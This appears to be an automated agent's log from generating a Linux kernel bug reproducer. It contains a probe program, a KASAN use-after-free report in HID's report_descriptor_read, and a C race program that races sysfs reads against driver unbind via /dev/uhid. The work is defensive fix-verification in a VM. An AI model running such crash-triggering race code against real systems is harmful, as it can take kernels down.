#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
int main() {
SETUP_UNBUFFERED_IO();
printf("[*] Probing for /dev/uhid...\n");
int uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] Failed to open /dev/uhid: %s\n", strerror(errno));
return 1;
}
printf("[+] /dev/uhid opened successfully.\n");
printf("[*] Creating virtual HID device...\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write to /dev/uhid: %s\n", strerror(errno));
return 1;
}
printf("[+] Virtual HID device created.\n");
printf("[*] Waiting for device to appear in sysfs...\n");
char dev_name[256] = {0};
for (int i = 0; i < 50; i++) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (dir) {
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
printf("[-] Device not found in /sys/bus/hid/devices/\n");
return 1;
}
printf("[+] Device found: %s\n", dev_name);
printf("[*] Checking for hid-logitech driver...\n");
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
if (bind_fd < 0) {
printf("[-] Failed to open /sys/bus/hid/drivers/logitech/bind: %s\n", strerror(errno));
return 1;
}
close(bind_fd);
printf("[+] hid-logitech driver is available.\n");
printf("[*] Checking for report_descriptor file...\n");
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return 1;
}
close(fd);
printf("[+] report_descriptor file opened successfully.\n");
printf("[*] Cleaning up...\n");
memset(&ev, 0, sizeof(ev));
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Probe successful.\n");
return 0;
}
]
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program to REPRODUCE a specific kernel bug
for the purpose of VERIFYING a bugfix.
This is a strictly defensive task. The code will be run in an isolated QEMU virtual machine
to check if the bug is triggered or not.
Do NOT generate an exploit or weaponized code. Generate only the minimal code needed to trigger
the specific crash or condition described, to help developers confirm the bug and its fix.
Focus on the technical reproduction of the state, not on weaponization or payload delivery.
Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.
To ensure that we can diagnose why a reproducer might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful
major step in the reproduction sequence.
5. Generate code that follows this pattern for all operations:
int res = do_something();
if (res < 0) {
printf("[-] Failed to do_something: %s\n", strerror(errno));
exit(1);
}
printf("[+] do_something successful.\n");
6. For the very first attempt at generating a reproducer (when no previous feedback is provided),
prioritize generating a simple 'probe' program. This program's sole purpose is to verify that the
test environment has the necessary kernel capabilities. It should focus on probing the specific
kernel subsystems, device files, or syscalls required for the reproduction (for example: opening
/dev/vhci to check if the virtual Bluetooth controller is accessible, loading a minimal dummy BPF
program to check if BPF_SYSCALL is enabled and permitted, or making a specific socket/ioctl call
to verify subsystem availability). Print clear messages indicating success or failure of these
specific kernel/subsystem probes, and exit with 0 only if all relevant subsystem checks pass.
Do not attempt complex race conditions or heavy logic in this first version.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: slab-use-after-free Read in report_descriptor_read
==================================================================
BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
Read of size 36 at addr ffff888037dd9b80 by task fido_id/24047
CPU: 0 UID: 0 PID: 24047 Comm: fido_id Tainted: G L syzkaller #0 PREEMPT(full)
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/18/2026
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
__asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105
report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
kernfs_file_read_iter fs/kernfs/file.c:269 [inline]
kernfs_fop_read_iter+0x451/0x6b0 fs/kernfs/file.c:298
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x582/0xa70 fs/read_write.c:574
ksys_read+0x150/0x270 fs/read_write.c:717
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f1e05ca7407
Code: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
RSP: 002b:00007fff31799f60 EFLAGS: 00000202 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f1e0644b880 RCX: 00007f1e05ca7407
RDX: 0000000000001000 RSI: 00007fff31799fb0 RDI: 0000000000000004
RBP: 0000563577cf9730 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 0000563577cf8930
R13: 00007fff31799fb0 R14: 0000000000000004 R15: 00005635507dc4d8
</TASK>
Allocated by task 19335:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5295 [inline]
__kmalloc_node_track_caller_noprof+0x4db/0x7b0 mm/slub.c:5407
kmemdup_noprof+0x2b/0x70 mm/util.c:138
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
lg_probe+0x29c/0x8a0 drivers/hid/hid-lg.c:783
__hid_device_probe drivers/hid/hid-core.c:2822 [inline]
hid_device_probe+0x416/0x7a0 drivers/hid/hid-core.c:2859
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
hid_add_device+0x272/0x3e0 drivers/hid/hid-core.c:3003
usbhid_probe+0xbab/0x1080 drivers/hid/usbhid/hid-core.c:1449
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_set_configuration+0x1a87/0x2110 drivers/usb/core/message.c:2268
usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
usb_probe_device+0x1c4/0x3b0 drivers/usb/core/driver.c:291
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
bus_probe_device+0x12a/0x220 drivers/base/bus.c:613
device_add+0x7e9/0xbb0 drivers/base/core.c:3706
usb_new_device+0xa08/0x16f0 drivers/usb/core/hub.c:2695
hub_port_connect drivers/usb/core/hub.c:5567 [inline]
hub_port_connect_change drivers/usb/core/hub.c:5707 [inline]
port_event drivers/usb/core/hub.c:5871 [inline]
hub_event+0x2a1c/0x4f30 drivers/usb/core/hub.c:5953
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
worker_thread+0xa53/0xfc0 kernel/workqueue.c:3478
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
The buggy address belongs to the object at ffff888037dd9b80
which belongs to the cache kmalloc-64 of size 64
The buggy address is located 0 bytes inside of
freed 64-byte region [ffff888037dd9b80, ffff888037dd9bc0)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x37dd9
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fe1a8c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 13665, tgid 13665 (kworker/1:7), ts 1105362433588, free_ts 1105289461309
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7271
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__kmalloc_cache_noprof+0x392/0x660 mm/slub.c:5414
kmalloc_noprof include/linux/slab.h:950 [inline]
kzalloc_noprof include/linux/slab.h:1188 [inline]
ath6kl_usb_alloc_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:193 [inline]
ath6kl_usb_setup_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:406 [inline]
ath6kl_usb_create drivers/net/wireless/ath/ath6kl/usb.c:670 [inline]
ath6kl_usb_probe+0xdba/0x15a0 drivers/net/wireless/ath/ath6kl/usb.c:1143
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
page last free pid 23 tgid 23 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1402 [inline]
__free_frozen_pages+0xbc7/0xd30 mm/page_alloc.c:2943
__tlb_remove_table_free mm/mmu_gather.c:228 [inline]
tlb_remove_table_rcu+0x85/0x100 mm/mmu_gather.c:291
rcu_do_batch kernel/rcu/tree.c:2617 [inline]
rcu_core+0x7cd/0x1070 kernel/rcu/tree.c:2869
handle_softirqs+0x22a/0x840 kernel/softirq.c:622
run_ksoftirqd+0x36/0x60 kernel/softirq.c:1076
smpboot_thread_fn+0x541/0xa50 kernel/smpboot.c:160
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
Memory state around the buggy address:
ffff888037dd9a80: 00 00 00 00 04 fc fc fc fc fc fc fc fc fc fc fc
ffff888037dd9b00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
>ffff888037dd9b80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
^
ffff888037dd9c00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
ffff888037dd9c80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
==================================================================
Strategy: An analysis of the bug report reveals a Use-After-Free (UAF) read in `report_descriptor_read()`.
### Root Cause Analysis
The `report_descriptor_read()` function handles reads to the `report_descriptor` sysfs attribute of a HID device. It accesses `hdev->rsize` and `hdev->rdesc` to copy the report descriptor to a kernel buffer, but it does so **without holding any locks**.
When a HID driver is unbound from a device, `hid_device_remove()` is called, which in turn calls `hid_close_report()`. If the driver had a `report_fixup` callback (like `hid-lg` does), `hdev->rdesc` was dynamically allocated via `kmemdup()` during probe. `hid_close_report()` frees this `hdev->rdesc` and sets `hdev->rsize = 0`.
Because the sysfs attribute belongs to the device (not the driver), the `report_descriptor` file remains accessible even while the driver is being unbound. If a userspace thread reads the sysfs file concurrently with the driver unbind operation, `report_descriptor_read()` can read a non-zero `hdev->rsize`, get preempted while `hid_close_report()` frees `hdev->rdesc`, and then resume to call `memcpy()` on the freed memory.
### Reproduction Strategy
We can reliably reproduce this race condition using the `uhid` framework and sysfs `bind`/`unbind` interfaces:
1. **Create a Virtual HID Device**: Use `/dev/uhid` to create a device with Vendor ID `0x046d` (Logitech) and Product ID `0xc293` (Wingman FFG). This specific ID binds to the `hid-lg` driver, which implements `report_fixup`, ensuring `hdev->rdesc` is dynamically allocated.
2. **Locate Sysfs Entries**: Find the device name in `/sys/bus/hid/devices/` (e.g., `0003:046D:C293.0001`) and open its `report_descriptor` file.
3. **Race Threads**:
- **Thread 1**: Continuously reads from the `report_descriptor` file using `pread()`.
- **Thread 2**: Continuously writes the device name to `/sys/bus/hid/drivers/logitech/unbind` and `/sys/bus/hid/drivers/logitech/bind`.
4. **Pinning**: Pin the threads to different CPU cores to maximize the chance of preemption and concurrent execution during the race window.
### Minimal C Reproducer
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
void create_uhid() {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
perror("open uhid");
exit(1);
}
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
perror("write uhid");
exit(1);
}
}
void find_dev_name() {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
PIN_TO_CPU(0);
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
PIN_TO_CPU(1);
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
create_uhid();
for (int i = 0; i < 50; i++) {
find_dev_name();
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
fprintf(stderr, "Device not found. Is uhid enabled?\n");
return 1;
}
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
perror("open report_descriptor");
return 1;
}
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
int unbind_fd = open("/sys/bus/hid/drivers/logitech/unbind", O_WRONLY);
if (bind_fd < 0 || unbind_fd < 0) {
perror("open bind/unbind (is hid-logitech loaded?)");
return 1;
}
int fds[2] = {bind_fd, unbind_fd};
pthread_t t1, t2;
pthread_create(&t1, NULL, read_thread, &fd);
pthread_create(&t2, NULL, bind_thread, fds);
sleep(5); // Allow time for the race to trigger KASAN
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
return 0;
}
```
|
| 66/4 |
2026/05/19 10:07 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 9703
output: 16
thoughts: 120
Thoughts: **Reproducer Generation: A Minimal C Journey**
Okay, so we've got a KASAN slab-use-after-free in `report_descriptor_read`, and the user's given us a starting point. My initial thought is to build a minimal C reproducer. They've outlined a strategy and even provided a candidate, which is great. I can leverage the `get-toolkit` tool to grab the `race` toolkit to combine with the user's input. The goal is a concise and effective test case.
Hold on a second... It seems their reproducer is importing `race_toolkit.h`. Right, that won't work directly, as that's not a standard header. I'll need to dig into the actual toolkit code and swap out that include with the concrete toolkit functions. Let's start by fetching the `race` toolkit itself. Once I have the core functionality, I can integrate it into the user's code. This should get us closer to a streamlined reproducer.
|
| 67/4 |
2026/05/19 10:07 |
tool |
get-toolkit |
0m
Args:
Results: map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
]
|
| 68/4 |
2026/05/19 10:07 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 11320
output: 17
thoughts: 123
Thoughts: **Analyzing the Candidate Reproducer**
Okay, so the user has given me a potential reproducer. Let's dig in and see if we can identify any immediate problems. My first observation is that it incorporates `race_toolkit.h`. Alright, I'll bring that header into the equation; it's essential for understanding the context. Now, I see it's interacting with `/sys/bus/hid/drivers/logitech/bind` and `/sys/bus/hid/drivers/logitech/unbind`. Hmm, that's interesting. The device is reporting as `0x046d:0xc293`. Wait a second… isn't the driver for that device specifically `hid-lg`? Why is the candidate code using "logitech" if the driver's labeled `hid-lg`? That's potentially a crucial detail to investigate. This could be a misidentification or some kind of aliasing. I need to be certain. I should check the source, specifically in `drivers/hid/hid-lg.c`, to understand the exact naming conventions and driver interaction being used. Let's see what's what.
|
| 69/4 |
2026/05/19 10:07 |
tool |
grepper |
0m
Args:
Results: map[Output:MAINTAINERS=15027=T: git git://git.kernel.org/pub/scm/linux/kernel/git/hid/hid.git
MAINTAINERS:15028:F: drivers/hid/hid-lg-g15.c
MAINTAINERS-15029-
--
drivers/hid/Makefile=16=hid-$(CONFIG_HIDRAW) += hidraw.o
drivers/hid/Makefile-17-
drivers/hid/Makefile:18:hid-logitech-y := hid-lg.o
drivers/hid/Makefile:19:hid-logitech-$(CONFIG_LOGITECH_FF) += hid-lgff.o
drivers/hid/Makefile:20:hid-logitech-$(CONFIG_LOGIRUMBLEPAD2_FF) += hid-lg2ff.o
drivers/hid/Makefile:21:hid-logitech-$(CONFIG_LOGIG940_FF) += hid-lg3ff.o
drivers/hid/Makefile:22:hid-logitech-$(CONFIG_LOGIWHEELS_FF) += hid-lg4ff.o
drivers/hid/Makefile-23-
--
drivers/hid/Makefile=82=obj-$(CONFIG_HID_LOGITECH) += hid-logitech.o
drivers/hid/Makefile:83:obj-$(CONFIG_HID_LOGITECH) += hid-lg-g15.o
drivers/hid/Makefile-84-obj-$(CONFIG_HID_LOGITECH_DJ) += hid-logitech-dj.o
--
drivers/hid/hid-lg.c-25-#include "hid-ids.h"
drivers/hid/hid-lg.c:26:#include "hid-lg.h"
drivers/hid/hid-lg.c:27:#include "hid-lg4ff.h"
drivers/hid/hid-lg.c-28-
--
drivers/hid/hid-lg2ff.c-15-
drivers/hid/hid-lg2ff.c:16:#include "hid-lg.h"
drivers/hid/hid-lg2ff.c-17-
--
drivers/hid/hid-lg3ff.c-14-
drivers/hid/hid-lg3ff.c:15:#include "hid-lg.h"
drivers/hid/hid-lg3ff.c-16-
--
drivers/hid/hid-lg4ff.c-19-#include "usbhid/usbhid.h"
drivers/hid/hid-lg4ff.c:20:#include "hid-lg.h"
drivers/hid/hid-lg4ff.c:21:#include "hid-lg4ff.h"
drivers/hid/hid-lg4ff.c-22-#include "hid-ids.h"
--
drivers/hid/hid-lg4ff.h-5-#ifdef CONFIG_LOGIWHEELS_FF
drivers/hid/hid-lg4ff.h:6:extern int lg4ff_no_autoswitch; /* From hid-lg.c */
drivers/hid/hid-lg4ff.h-7-
--
drivers/hid/hid-lgff.c-22-
drivers/hid/hid-lgff.c:23:#include "hid-lg.h"
drivers/hid/hid-lgff.c-24-
--
drivers/hid/hid-xinmo.c-6- * -1). It is needed because hid-input discards out of bounds values.
drivers/hid/hid-xinmo.c:7: * (This module is based on "hid-saitek" and "hid-lg".)
drivers/hid/hid-xinmo.c-8- *
]
|
| 70/4 |
2026/05/19 10:07 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 12616
output: 28
thoughts: 16
Thoughts: Okay, here's my summary, presented as a stream of thought:
**Checking the HID Driver Registration**
Right, let's get down to brass tacks. I need to quickly verify something about this `hid-lg.c` driver. Specifically, I want to confirm the exact driver name that's being registered within the HID subsystem. This is a critical first step. I need to ensure that the driver is named and registered as I expect it to be. This is basic, but foundational; a small error at this stage can throw everything off down the line. It's about ensuring the driver is properly identified by the system, setting the stage for everything that follows. I need to make sure I know what I'm looking at and dealing with, right from the start.
|
| 71/4 |
2026/05/19 10:07 |
tool |
codesearch-file-index |
0m
Args: map[SourceFile:drivers/hid/hid-lg.c]
Results: map[Entities:[map[Kind:function Name:__check_lg4ff_no_autoswitch] map[Kind:function Name:lg_driver_exit] map[Kind:function Name:lg_driver_init] map[Kind:function Name:lg_event] map[Kind:function Name:lg_input_mapped] map[Kind:function Name:lg_input_mapping] map[Kind:function Name:lg_probe] map[Kind:function Name:lg_raw_event] map[Kind:function Name:lg_remove] map[Kind:function Name:lg_report_fixup] map[Kind:function Name:lg_ultrax_remote_mapping] map[Kind:function Name:lg_wireless_mapping] map[Kind:global_variable Name:__UNIQUE_ID_addressable_lg_driver_init_1031] map[Kind:global_variable Name:__UNIQUE_ID_modinfo_1032] map[Kind:global_variable Name:__UNIQUE_ID_modinfo_1033] map[Kind:global_variable Name:__UNIQUE_ID_modinfo_1034] map[Kind:global_variable Name:__UNIQUE_ID_modinfo_1035] map[Kind:global_variable Name:__UNIQUE_ID_modinfo_1036] map[Kind:global_variable Name:__exitcall_lg_driver_exit] map[Kind:global_variable Name:__mod_device_table__kmod_hid_logitech__hid__lg_devices] map[Kind:global_variable Name:__param_lg4ff_no_autoswitch] map[Kind:global_variable Name:__param_str_lg4ff_no_autoswitch] map[Kind:global_variable Name:df_rdesc_fixed] map[Kind:global_variable Name:dfp_rdesc_fixed] map[Kind:global_variable Name:ffg_rdesc_fixed] map[Kind:global_variable Name:fg_rdesc_fixed] map[Kind:global_variable Name:fv_rdesc_fixed] map[Kind:global_variable Name:lg4ff_no_autoswitch] map[Kind:global_variable Name:lg_devices] map[Kind:global_variable Name:lg_driver] map[Kind:global_variable Name:momo2_rdesc_fixed] map[Kind:global_variable Name:momo_rdesc_fixed]]]
|
| 72/4 |
2026/05/19 10:07 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 13486
output: 41
thoughts: 9
Thoughts: Okay, here's my interpretation of that thought process, tailored for an expert audience, and written in the first person:
**Initial Assessment: Navigating the Landscape**
Alright, time to dive in. My immediate focus is on `lg_driver`. That's the starting point. Given my expertise, I’m mentally cataloging what I *know* about `lg_driver` right now. I'm considering its likely scope – is it a top-level orchestration layer, a low-level hardware interface, or something in between? What are the common pitfalls I've seen associated with similar components in the past? My intention is to approach this systematically, starting with a review.
|
| 73/4 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-lg.c IncludeLines:false Name:lg_driver]
Results: map[SourceCode:static struct hid_driver lg_driver = {
.name = "logitech",
.id_table = lg_devices,
.report_fixup = lg_report_fixup,
.input_mapping = lg_input_mapping,
.input_mapped = lg_input_mapped,
.event = lg_event,
.raw_event = lg_raw_event,
.probe = lg_probe,
.remove = lg_remove,
};
